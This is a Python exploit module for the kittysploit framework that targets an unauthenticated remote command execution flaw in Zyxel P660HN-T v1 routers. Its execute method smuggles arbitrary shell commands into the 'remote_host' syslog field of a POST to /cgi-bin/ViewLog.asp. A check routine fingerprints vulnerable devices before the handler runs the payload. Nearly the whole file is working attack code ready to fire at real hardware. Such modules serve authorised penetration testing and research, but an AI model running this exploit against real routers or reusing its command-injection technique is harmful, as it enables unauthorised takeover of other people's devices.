Zyxel P660HN-T v1 RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Zyxel P660HN-T v1 RCE"""


from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Zyxel P660HN-T v1 RCE',
        'description': 'Module exploits Remote Command Execution vulnerability in Zyxel P660HN-T v1 devices. If the target is vulnerable it allows to execute commands on operating system level.',
        'author': ['Pedro Ribeiro', 'Marcin Bury'],
        
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['http://seclists.org/fulldisclosure/2017/Jan/40', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/zyxel_trueonline.txt', 'https://blogs.securiteam.com/index.php/archives/2910'],
        'tags': ['iot', 'router', 'rce', 'unauth'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
        },
    }

    target = OptIP("", "Target IPv4 or IPv6 address: 192.168.1.1")
    port = OptPort(80, "Target port")

    def execute(self, cmd):
        payload = ";{};#".format(cmd)
        data = {
            "remote_submit_Flag": "1",
            "remote_syslog_Flag": "1",
            "RemoteSyslogSupported": "1",
            "LogFlag": "0",
            "remote_host": payload,
            "remoteSubmit": "Save"
        }

        self.http_request(
            method="POST",
            path="/cgi-bin/ViewLog.asp",
            data=data
        )

        return ""
    def check(self):
        response = self.http_request(
            method="GET",
            path="/cgi-bin/authorize.asp",
        )
        if response is None:
            return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}

        if "ZyXEL P-660HN-T1A" in response.text:
            return {"vulnerable": True, "reason": "Check succeeded", "confidence": "medium"}

        return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}

    def run(self):
        result = self.check()
        if isinstance(result, dict):
            if not result.get("vulnerable"):
                self.not_vulnerable()
                return False
        elif not result:
            self.not_vulnerable()
            return False
        print_success("Target appears vulnerable")
        return self.handler_execute()